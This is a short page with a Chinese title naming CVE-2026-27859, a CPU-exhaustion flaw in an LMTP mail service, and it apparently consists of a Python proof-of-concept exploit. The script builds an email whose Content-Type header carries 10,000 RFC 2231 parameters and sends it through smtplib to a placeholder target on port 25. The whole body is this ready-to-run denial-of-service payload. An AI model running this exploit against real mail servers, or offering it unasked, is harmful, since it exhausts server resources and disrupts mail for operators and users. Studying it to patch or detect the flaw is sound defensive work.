CVE-2026-27859 LMTP服务CPU资源耗尽漏洞

import smtplib # Generate a malicious email with excessive RFC 2231 MIME parameters # This script demonstrates how to construct a payload that triggers CPU exhaustion. def create_malicious_email(): subject = "CVE-2026-27859 PoC" from_addr = "[email protected]" to_addr = "[email protected]" # Start constructing the MIME headers headers = f"From: {from_addr}\r\nTo: {to_addr}\r\nSubject: {subject}\r\nMIME-Version: 1.0\r\n" # Craft Content-Type header with excessive RFC 2231 parameters # RFC 2231 allows for parameter continuations (e.g., name*0, name*1) # We generate a large number of parameters to overwhelm the parser. content_type = "Content-Type: text/plain;" # Add 10,000 dummy parameters to trigger the high CPU usage for i in range(10000): content_type += f" param{i}=\"value{i}\";" # Remove trailing semicolon content_type = content_type.rstrip(';') email_body = "\r\n\r\nThis is a test payload for CVE-2026-27859." return headers + content_type + email_body # Attempt to send the email to the target LMTP server try: # Note: Replace 'target.hostname' and port with actual target details server = smtplib.SMTP('target.hostname', 25) server.set_debuglevel(1) server.sendmail('[email protected]', '[email protected]', create_malicious_email()) server.quit() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error occurred: {e}")